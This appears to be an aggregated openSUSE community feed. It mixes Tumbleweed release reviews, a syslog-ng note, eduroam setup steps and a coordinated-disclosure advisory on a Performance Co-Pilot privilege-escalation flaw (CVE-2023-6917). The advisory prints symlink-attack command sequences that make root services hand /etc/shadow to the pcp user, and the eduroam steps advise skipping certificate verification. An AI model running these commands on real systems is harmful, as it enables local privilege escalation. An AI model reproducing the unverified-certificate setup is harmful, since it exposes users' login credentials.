Distrobox with BoxBuddy on openSUSE
openSUSE Tumbleweed – Review of the week 2024/09
Dear Tumbleweed users and hackers,
This week was truly crazy for the staging masters — apologies to Ana for flooding you with requests. Many contributors have been busy preparing our packages for RPM 4.20 (which is still at least half a year out – but we preferred to fix things now rather than being under pressure then). When the effort started on Feb 20, we had 2066 spec files that would have failed to build with RPM 4.20. Today, just 10 days later, we have less than 700 – and many requests in the queue to address those.
Of course, that’s not everything that happened this week. We have again delivered six snapshots (0223, 0225, 0226, 0227, 0228, and 0229) with the following changes:
- libjxl 0.10.0 & 0.10.1 (this time the update went without fallout)
- Samba 4.19.5
- Linux kernel 6.7.6
- mdadm 4.3: stricter on naming devices posix compliant
- Mozilla Firefox 123.0
- chrony 4.5
- openSSH 9.6p1
- fwupd 1.9.14
- exiv2 0.28.2
- Ruby 3.2 has been removed: this includes all the ruby gems AND the ruby 3.2 interpreter
The staging lists and backlog are largely filled with the same old topics:
- ImageMagick 7.1.1.29
- Python 3.x fixes for CVE-2023-6597 (TmpDir cleaning)
- openblas 0.3.26: breaks python-networkx, and python-scikit-learn
- openjpeg 2.5.1: breaks ghostscript
- KDE Frameworks and Plasma 6: Staging turns out to be messy
- KDE Gear 24.02.0 – Requires KDE Frameworks 6
- Systemd 255.3
- python 3.9 deprecation: we decided to postpone this a little but, due to the still large fallout from Python 3.12 addition. Removing a Python flavor will require us to rebuild all the Python packages for the new builds to drop the python39 flavor. Too many packages fail to build at this moment.
- dbus-broker: a big step forward; upgrades seem to be an issue that needs to be addressed
- libxml 2.12.x: slow/no progress
- GCC 14: phase 2: use gcc14 as the default compiler
openSUSE Tumbleweed Monthly Update - February
Welcome to the monthly update for openSUSE Tumbleweed for February 2024. This month we get one more day in February because of Leap year, but here is what we have for the month. This blog aims to provide readers with an overview of the key changes, improvements and issues addressed in openSUSE Tumbleweed snapshots throughout the month. Should readers desire a more frequent amount of information about openSUSE Tumbleweed snapshots, readers are advised to subscribe to the openSUSE Factory mailing list.
New Features and Enhancements
-
Linux Kernel: February brought updates to the Linux kernel, progressing through versions 6.7.2 to 6.7.6. These updates focus on enhancing memory management, addressing some security vulnerabilities, and introducing support for new hardware models, ensuring improved compatibility and performance across various systems.
- Fixes for various issues, including null-pointer dereference in powerpc/mm, incorrect node setting for arm64 irq, and build errors in powerpc architecture.
- Correcting the node assignment for VMAP stack in the
arm64irq module. - Fix for a null-pointer dereference in
pgtable_cache_addin the powerpc/mm module. - Fixes for various issues in filesystems like ext4 and JFS.
- Ensuring proper handling of NMIs during very early boot in the
x86/bootmodule. - New hardware support or models:
- Colorful X15 AT 23 Laptop
-
KDE Frameworks: Update for version 5.115.0.
- xtra CMake Modules: The ECMUninstallTarget now ports generated code away from deprecated exec_program, enhancing compatibility and maintainability.
- KHolidays: Adds St Brigid’s Day.
- KIO: Once again KDirModel, allows expanding network directories in file picker.
- prison : Enables exceptions for videoscannerworker.cpp.
-
Mesa: Updates to 23.3.6
- zink: Addresses flickering artifacts in Selaco, broken colors/dual-source blending on PinePhone Pro, and fixes sparse bo placement.
- panfrost: Resolves graphical artifacts on T604 (T600), fixes intermittent compiler failures when building valhall tests, and pads compute jobs with zeros on v4.
- radeonsi: Fixes unsynchronized flips/tearing with KMS DRM rendering on 780M and addresses heavy corruption in Amnesia: The Dark Descent.
- VK: Various fixes for flaky tests, fullscreen “banding” artifacts in Age of Empires IV, and failures in dEQP-VK pipeline tests.
-
systemd: Updates to version 254.9.
- vconsole-setup: Resolved issue where vconsole-setup would fail if the only found vc is already used by plymouth.
- systemd-testsuite: Dependency updated to “qemu” instead of “qemu-kvm”, the latter being obsolete.
- test/test-shutdown.py: Option added to display test I/Os in a dedicated log file.
- man pages: Documentation update to include ranges for distributions config files and local config files.
- libbpf: Version of libbpf dlopened by systemd updated (weak dependency).
-
glibc: Updated from version 2.38 to 2.39,
- PLT Rewrite: Introduction of a new tunable,
glibc.cpu.plt_rewrite, allows for enabling PLT rewrite on x86-64 architectures. - Sync with Linux Kernel 6.6: Synchronization with Linux kernel 6.6 shadow stack interface.
- New Functions: Addition of new functions on Linux, including
posix_spawnattr_getcgroup_np,posix_spawnattr_setcgroup_np,pidfd_spawn,pidfd_spawp, andpidfd_getpid. - scanf-family functions: Support for the wN format length modifiers for arguments pointing to specific types.
- Memory Allocation Tunable: Introduction of a new tunable,
glibc.mem.decorate_maps, for adding additional information on underlying memory allocated by glibc. - ISO C2X: Inclusion of the
<stdbit.h>header from ISO C2X. - AArch64: Addition of new symbols to libmvec on AArch64.
- ldconfig Enhancements: ldconfig now skips file names containing specific characters and patterns.
- Dynamic Linker Improvements: The dynamic linker calls the
mallocandfreefunctions in more cases during TLS access if a shared object with dynamic TLS is loaded and unloaded.
- PLT Rewrite: Introduction of a new tunable,
-
Cups-Filters: Updates to version 1.28.17
- Improved Printer Capability Discovery: Enhancements to more reliably discover all printer capabilities from driverless printers, particularly borderless printing. This includes preferring Apple Raster over PWG Raster or PCLM formats.
- PPD Generator Optimization: The PPD generator now creates only one *cupsFilter2 line for raster, utilizing the most desirable/reliable format, usually Apple Raster.
- Media Database Handling: Enhancements in handling media-col-database and media-col-ready IPP attributes separately if needed, revealing important functionality like borderless printing.
- Margin Alternatives Consideration: Consideration of all margin alternatives when generating PPD files for driverless printers, ensuring the discovery of borderless functionality for many printers.
- Image Printing Enhancements: Images are now printed in their original size with “print-scaling=none”, and deprecated data types for reading TIFF images have been replaced with modern equivalents.
-
openvpn: Updates to version 2.6.9
- Enhanced Logging: SSL alerts are now logged more prominently, improving visibility into SSL-related issues.
- Documentation Improvements: Clarifications and additions to documentation, including the documentation of the
tls-exitoption as a primarily test option. - Code Cleanup: Removal of unused function prototypes and redundant code, ensuring cleaner codebase and improved maintainability.
- Error Handling: Addition of missing error checks and enhancements to error messages for better debugging and troubleshooting.
- Security Enhancements: Implementation of the
--tls-export-certfeature and addition of checks for TLS 1.0 PRF availability, improving security measures. - Configuration Clarifications: Clarifications regarding the
tls-crypt-v2-verifyoption and removal of redundant options like--tls-export-cert. - Library Compatibility: Support added for newer versions of dependencies like mbedtls 3.x.y, with TLS 1.3 support disabled.
Security Updates
This month’s updates include critical security patches and bug fixes for glibc, GStreamer, Salt, Xen and many other packages.
Bug Fixes
- glibc: Had a few Common Vulnerabilities and Exposures fixed. CVE-2023-6246, CVE-2023-6779, which was a buffer overflow, CVE-2023-6780, which was an integer overflow, both that lead to an incorrect calculation of the buffer size.
- GStreamer: CVE-2024-0444 made it possible for a malicious third party to trigger a crash in the application.
- Salt: CVE-2024-22231 was vulnerable to a directory traversal attack and CVE-2024-22232, with a specially crafted url, could lead to a directory traversal in the salt file server.
- Xen: CVE-2023-46839 had a high complexity and required high privileges.
- dnsmasq: Both CVE-2023-50387 and CVE-2023-50868 could allow for remote attackers to cause a denial of service.
- qemu: CVE-2023-6693 could allow a hacker to steal data via a network device.
- bind: CVE-2023-50387 was associated with a “KeyTrap” DNS flaw lets attackers overload servers remotely. The other three were CVE-2023-4408, CVE-2023-5679 and CVE-2023-6516.
-
Node.js: Multiple CVEs were fixed. These were CVE-2024-21892, which let unprivileged users gain elevated rights, CVE-2024-22019, which was a flaw that let attackers crash servers with malformed requests, and CVE-2024-22017, which was a path traversal bug via Buffer manipulation in an experimental feature. There was also CVE-2024-21896, CVE-2023-46809, CVE-2024-21891, CVE-2024-21890, CVE-2024-22025 and CVE-2024-24758, which kept
Proxy-Authenticationheaders after redirects; upgrade as needed.
Conclusion
February 2024 for openSUSE Tumbleweed showcases a diverse range of updates and improvements across essential components. There were critical security patches for software like glibc, GStreamer and Salt. The kernel updated from 6.7.2 at the beginning of the month to 6.7.6. There were updates for KDE Frameworks, Mesa, systemd, Cups-Filters and other core components. Other significant upgrades during the month included fwupd 1.9.13, PostgreSQL 16.2, Pulseaudio 17.0, GTK 4.12.5, Python 3.11.8, RPM 4.19.1.1, Mozilla Firefox 122.0.1, PHP 8.2.16, Poppler 24.02.0, Shadow 4.14.5, binutils 2.42, Qemu 8.2.1 and, Python 3.12. Next month should see systemd 255.3 arrive in the rolling release as the package is currently in staging.. The openSUSE team encourages users to continue participating through bug reports, feature suggestions and discussions.
Contributing to openSUSE Tumbleweed
Your contributions and feedback make openSUSE Tumbleweed better with every update. Whether reporting bugs, suggesting features, or participating in community discussions, your involvement is highly valued.
Working with multi-line logs in syslog-ng
Most log messages fit on a single line. However, Windows and some developer tools and services, like Tomcat, write multi-line log messages. These can come in various formats. For example, new log messages start with a date in a specific format. You use the multi-line-prefix() of the syslog-ng file() source to send multi-line messages as single messages instead of line by line.
I must admit that I have never seen multi-line logs in production. I am not a developer, do not run Tomcat or Windows. However, recently I tested a software on Windows, which produced multi-line log messages.
You can read more at https://www.syslog-ng.com/community/b/blog/posts/working-with-multi-line-logs-in-syslog-ng

syslog-ng logo
HU Berlin eduroam for Android
I tried to setup eduroam for the Humboldt University of Berlin (Humboldt Universität in Berlin) using the app advertised in the manual: geteduroam
Unfortunately, the app crashes on my Android phone. If this is your case as well, proceed as follows:
- download the CA certificate hu-ca-2024.crt1
- go to your wifi settings and select
eduroamto setup this wifi - use TTLS/PAP (I forgot which one)
- add anonymous identity:
eduroam@hu-berlin.de - add username as username@hu-berlin.de (use username@physik.hu-berlin.de or username@mathematik.hu-berlin.de if your account is with those faculties)
- add as CA certificate the file downloaded before
- do not verify this certificate
- add as domain:
hu-berlin.de
Note that other universities may require other setups.
-
I have created this certificate file with
openssl x509 -inform PEM -outform DER -in CA.pem -out hu-ca-2024.crtusing theCA.pemextracted from the eduroam setup for my PC. ↩︎
Disable Input Devices in Wayland
Performance Co-Pilot (pcp): Unsafe use of Directories in /var/lib/pcp and /var/log/pcp breaks pcp Service User Isolation (CVE-2023-6917)
1) Introduction
Performance Co-Pilot (pcp) is a performance analysis toolkit that allows to gather and evaluate data on a local system and also share this data over the network in a distributed manner.
During routine reviews we noticed issues in pcp on Linux with directory permissions that allow to locally escalate privileges from the pcp service user to root.
These findings are based on the 5.3.7 version release of pcp. CVE-2023-6917 has been assigned for this class of issues in pcp.
2) Service User And Directory Permissions
The systemd services shipped with pcp run with mixed privileges. Some use only
limited pcp user/group privileges, like “pmie_check.service”. Others like
“pmcd.service” run with full root privileges. The pmcd daemon implements the
networking logic of pcp. It drops privileges from root to pcp during
startup.
The different pcp programs use a shared directory structure:
- /var/lib/pcp/tmp owned by
pcp:pcpmode0775 - /var/log/pcp owned by
pcp:pcpmode0775
When privileged processes running as root access files in directories or directory trees controlled by unprivileged users, then easily security issues can result from this. For the directories listed above, we quickly found the two exploitable issues that are described in the following sections.
3a) Startup Script for pmcd runs chown for $PCP_TMP_DIR/pmlogger
The “pmcd.service” runs with root privileges and executes the bash script
“/usr/libexec/pcp/lib/pmcd” (named “rc_pmcd” in the Git source repository).
Within this script the following code runs as part of the
start routine, found in function _reboot_setup():
if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
then
mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
if which restorecon >/dev/null 2>&1
then
restorecon -r "$PCP_TMP_DIR"
fi
else
$PCP_TMP_DIR in this context refers to “/var/lib/pcp/tmp”, owned by pcp:pcp
mode 0775. Since the shell code above does not exit on errors, a compromised pcp
user doesn’t even have to win a race condition to perform a symlink attack.
The following exploit works:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/lib/pcp/tmp
pcp $ rm -r pmlogger
pcp $ ln -s /etc/shadow pmlogger
pcp $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
3b) Startup Script for pmproxy runs chown in $RUN_DIR
The “pmproxy.service” runs with root privileges and executes the bash script
“/usr/libexec/pcp/lib/pmproxy” (named rc_pmproxy in the Git source
repository). Within this script the following code runs as
part of the start (and other) routines:
# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
mkdir -p -m 775 "$RUNDIR"
chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi
$RUN_DIR in this context refers to “/var/log/pcp/pmproxy”. “/var/log/pcp” is
owned by pcp:pcp mode 0775. Similar to the exploit described in section
3a), no race condition has to be won to exploit this:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/log/pcp
pcp $ rm -rf pmproxy
pcp $ ln -s /etc/shadow pmproxy
pcp $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
4) Summary
We only picked two of the more obvious security issues that result from root processes operating on these pcp owned directories. There are likely more issues of the same class lingering in the pcp scripts that run as root. Given this, the user separation of pcp can be considered nonexistent in its current form, and the pcp user should be treated equal to root.
The pcp service user is also used for the network facing pmcd component,
thus these issues strongly impact defense in depth for pcp, for the scenario
when an attacker finds a way to exploit the network daemon.
5) Bugfix
Upstream performed a wider redesign of the privilege separation handling in pcp components. The pull request corresponding to this contains a large number of commits. It is difficult to isolate any simple patches from that.
In our Bugzilla bug that tracks this issue, I attempted to identify the subset of commits relevant to this issue, to help with backporting.
6) Timeline
| 2023-12-13 | I reported the findings to pcp-maintainers@groups.io offering coordinated disclosure. |
| 2023-12-14 | The Red Hat Security Team was added to the discussion. |
| 2023-12-15 | After some initial disagreement whether this qualifies as an actual security issue, an agreement was found that it is a change of security scope and deserves a CVE assignment. |
| 2023-12-15 | An upstream author suggested mid of February as a publication date, for which time a release for pcp had been planned anyway. |
| 2023-12-18 | Red Hat Security assigned CVE-2023-6917 to track the issue(s). |
| 2024-01-01 | Upstream discussed some initial changes to address the issue(s) in the mail thread and I tried to give some feedback about them. |
| 2024-02-20 | Communication about the publication process died down, and I learned from our packager that the Pull Request containing the fixes had already been public for some time. It seems no clear embargo had been established for the coordinated release, there had been contradicting statements. |
| 2024-02-27 | After verifying with the upstream authors that publication is okay I finalized my report and published all information. |
7) References
Gridfinity Screwdriver Rack
Community Plans for Summit in Berlin
The community is headed to Berlin on June 19 for a Community Summit in association with SUSE’s premier annual global technical conference SUSECON.
Registration for the event is open and the Call for Papers is open until May 29. Partners of SUSE, openSUSE, open source community projects and community members that want to participate are encouraged to register for the summit and submit a talk.
The schedule for the Community Summit will be released on May 30.
There is a Community track and an open source track. There are two types of talks that can be submitted for the summit. One is a short talk with a 15-minute limit and the other is a standard talk with a 30-minute limit.
Attendees of SUSECON are also welcome to attend and submit talks. The Community Summit is a free community event that will take place on the last day of SUSECON.
The summit will take place a week before the openSUSE Conference in Nuremberg, so attendees of SUSECON should consider staying for the openSUSE Project’s annual conference and submit a technical talk. For small- and medium-sized enterprises, there will be a 4-hour Open 4 Business networking event held on June 26 next to SUSE’s offices in Nuremberg.
Contact ddemaio (@) opensuse.org if you have any questions concerning the summit.